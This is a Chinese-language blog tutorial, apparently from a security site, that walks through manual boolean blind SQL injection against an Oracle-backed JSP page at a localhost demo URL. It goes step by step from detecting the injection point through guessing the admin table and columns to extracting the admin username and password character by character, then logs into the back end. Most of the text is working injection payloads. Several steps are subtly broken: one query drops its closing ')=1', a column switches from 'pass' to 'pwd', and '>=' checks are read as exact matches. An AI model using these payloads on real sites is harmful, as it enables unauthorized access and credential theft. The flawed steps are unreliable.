Oracle 数据库系统，是美国ORACLE公司（甲骨文）提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的，数据库管理系统。那么对于这么一款大型数据库，我们如何来进行手工的注入呢？
其实 Oracle 数据库手工注入原理和方法，其实与之前介绍的 Access Mysql数据库很像。现在我们以一个URL地址为例，进行手工注入的演示！
演示URL：http://127.0.0.1/news.jsp?id=66 。
1.首先按照惯例，我们先进行是否存在注入点的 简单判断。在 id=66 后面添加：
and 1=1? （返回正常）
and 1=2? （返回错误）
2. 判断一下数据库中的表，网址后加上：
and (select count(*) from admin) <>0??? （返回正常则说明存在该表）
在这里如果返回错误，我们可以多尝试其他表明，例如：manager ，username等。
3. 判断下该网站管理员账户有几个：
and (select count(*) from admin)=1? （返回正常说明只有一个管理员）
4.已知表的前提下，判断表中字段结构：
and (select count(name) from admin)>=0?? （返回正常，说明存在name字段）
5. 判断表中的密码存放列名：
and (select count(pass) from admin)>=0?? （返回正常，说明存在pass字段）
6. 接下来采用ASCII码折半法猜解管理员帐号和密码：
and (select count(*) from admin where length(name)>=5)=1? （返回正常，说明为 5 个字符长度）
7. 再猜测第一个字符的ASCII码的值：
and (select count(*) from admin where ascii(substr(name,1,1))>=97? （返回正常，则说明第一个字符的ASCII码为 97 （a））
依次类推，再猜第二个字符对应的值：
and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1? （返回正常，则说明第二个字符的ASCII码为 100（d））
8. 在得到管理员的账户名后，接着我们用同样的方法来获取 pass ：
and (select count(*) from admin where length(pass)>=8)=1? （返回正常，则密码长度为 8 位，同样说明为明文密码串！）
9. 猜测pass列第一个字符的ASCII码的值：
and (select count(*) from admin where ascii(substr(pass,1,1))>=97)=1? （返回正常，则第一个字符为 97 （a） ）
依次类推，再猜第二个字符对应的值：
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1?? （返回正常，则说明第二个字符的ASCII码为 100（d））
10. 登录后台：
登录地址：http://127.0.0.1/login.jsp? 。输入我们猜解出的账户密码 admin? admin888 来进行登录即可！
原创文章，转载请注明来源 即刻安全！
转载请注明：即刻安全 » Oracle数据库手工注入详解
